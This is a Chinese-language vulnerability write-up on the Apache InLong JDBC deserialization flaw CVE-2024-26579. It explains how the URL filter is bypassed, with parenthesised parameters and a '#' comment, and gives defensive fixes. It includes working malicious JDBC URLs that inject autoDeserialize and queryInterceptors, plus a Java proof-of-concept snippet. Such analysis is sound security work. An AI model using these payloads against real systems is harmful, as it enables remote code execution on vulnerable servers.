Apache InLong < 1.12.0 JDBC反序列化漏洞(CVE-2024-26579)浅析
字数 1436 2025-08-19 12:41:48
Apache InLong JDBC反序列化漏洞(CVE-2024-26579)深度分析
0x00 漏洞概述
Apache InLong是一个开源的高性能数据集成框架,支持数据接入、同步和订阅,同时具备批处理和流处理能力。在1.12.0之前的版本中,存在一个JDBC反序列化漏洞(CVE-2024-26579),允许攻击者在特定条件下远程执行任意代码。
0x01 漏洞详情
影响范围
- 受影响组件:
org.apache.inlong:inlong-manager - 受影响版本:
[1.7.0, 1.12.0)
漏洞本质
漏洞源于MySQLSensitiveUrlUtils类对JDBC连接字符串参数的处理不完善:
- 仅限制了
?形式的参数传递 - 未正确处理
()形式的参数传递 - 未过滤
#注释符
攻击者可利用这些缺陷绕过安全限制,注入autoDeserialize、allowLoadLocalInfile等危险参数。
0x02 漏洞分析
现有防护机制(1.11.0版本)
org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive方法实现:
- URL解码:循环使用
URLDecoder.decode解码,直到没有百分号编码字符 - 空白符移除:通过正则
InlongConstants.REGEX_WHITESPACE移除所有空白字符 - 参数处理:
- 检查是否包含
?,拆分键值对 - 检查参数是否在敏感参数Map中,跳过敏感参数
- 强制添加
autoDeserialize=false覆盖潜在恶意参数
- 检查是否包含
绕过方式
-
利用
()传递参数:- MySQL Connector/J支持通过
()在authority部分传递参数 - 两种格式:
// 键值对形式 jdbc:mysql://(host=127.0.0.1,port=54324,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,autoDeserialize=true)/test? // address=(键值对形式) jdbc:mysql://address=(host=127.0.0.1)(port=54324)(queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?
- MySQL Connector/J支持通过
-
利用
#注释符:#后的内容会被MySQL Connector/J视为注释- 可注释掉防护机制强制添加的安全参数
完整利用链
-
攻击者通过
DataNodeController#testConnection接口提交恶意JDBC URL -
调用链:
DataNodeController.testConnection() → StarRocksDataNodeOperator.testConnection() → StarRocksDataNodeDTO.convertToJdbcUrl() → MySQLSensitiveUrlUtils.filterSensitive() → StarRocksJdbcUtils.getConnection() -
最终在建立MySQL连接时触发反序列化
漏洞验证代码
try {
String url = "jdbc:mysql://address=(host=127.0.0.1)(port=54324)(queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?#";
String jdbcURL = MySQLSensitiveUrlUtils.filterSensitive(url);
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(jdbcURL, "CB 1.9", "");
} catch (Exception e) {
e.printStackTrace();
}
0x03 修复方案
官方修复
临时缓解措施
- 限制JDBC连接字符串的输入格式
- 禁止使用
()形式的参数传递 - 过滤
#注释符
0x04 防御建议
针对JDBC Attack的通用防护策略:
-
严格校验JDBC连接字符串:
- 禁止直接传递完整JDBC URL
- 使用预定义模板解析各字段
- 对各字段(host、port、dbname等)分别进行安全校验
-
参数过滤:
- 处理所有形式的参数传递(
?、()、;等) - 过滤注释符(
#、--等) - 移除所有空白字符(包括制表符、换行符等)
- 处理所有形式的参数传递(
-
安全配置:
- 默认禁用危险功能(
autoDeserialize=false) - 使用最小权限账户连接数据库
- 默认禁用危险功能(
-
输入验证:
- 对拼接形成的JDBC URL进行最终校验
- 使用安全的正则表达式匹配合法格式